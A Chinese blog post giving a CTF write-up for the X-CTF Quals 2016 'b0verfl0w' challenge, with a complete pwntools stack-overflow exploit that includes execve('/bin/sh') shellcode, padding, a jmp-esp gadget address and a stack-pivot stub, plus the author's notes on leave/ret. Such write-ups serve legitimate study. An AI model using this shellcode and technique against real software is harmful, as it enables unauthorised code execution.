X-CTF Quals 2016 - b0verfl0w

b0verfl0w 32位elf文件,安全配置如下:


存在堆栈溢出漏洞,但是栈不大,只有0x38。

看了下exp,比较简单的一段exp,还是花了三个小时,网络安全这玩意一直在看,就是没动手,导致基础不扎实,很多东西看了就忘记,自己写了下exp标注下,先看下栈的分配


io = process(elf.path)

#execv('/bin/sh')

payload = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

###### 存在溢出漏洞的数组长度只有0x20,前面一行只有0x15,下面用12个'b'填充

payload += 'b'*(0x20-len(payload))

#ebp

payload += '\x90'*4

#eip

payload += p32(0x08048504)


#######这段代码费了两个小时,记录一下。上图为存在溢出漏洞的vul()函数

溢出后,会调用leave和retl,就是这俩指令的费了近两小时来理解

leave: mov esp,ebp;pop ebp,esp先指向esp,pop ebp后esp指向eip(看exp时一时没反应过来pop ebp也会使esp -4)

ret:pop eip;jmp 同上面一样,esp也是-4,指向eip后面的内存单元,pop eip需要使esp-4也没有反应过来

到此,esp指向eip后面的单元,esp-0x28(0x20(数组长度) + 0x4(ebp) + 0x4(eip))到了数组start,也就是shellcode起始处,jmp esp即开始运行shellcode 

payload += asm('sub esp,0x28;jmp esp')

io.send(payload)

io.interactive()

年纪大了,记性不好,最近调bilstm + crf代码,很多tensorflow语法都忘光了,如果读大学那伙知道现在的方向,绝对比现在成就高。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容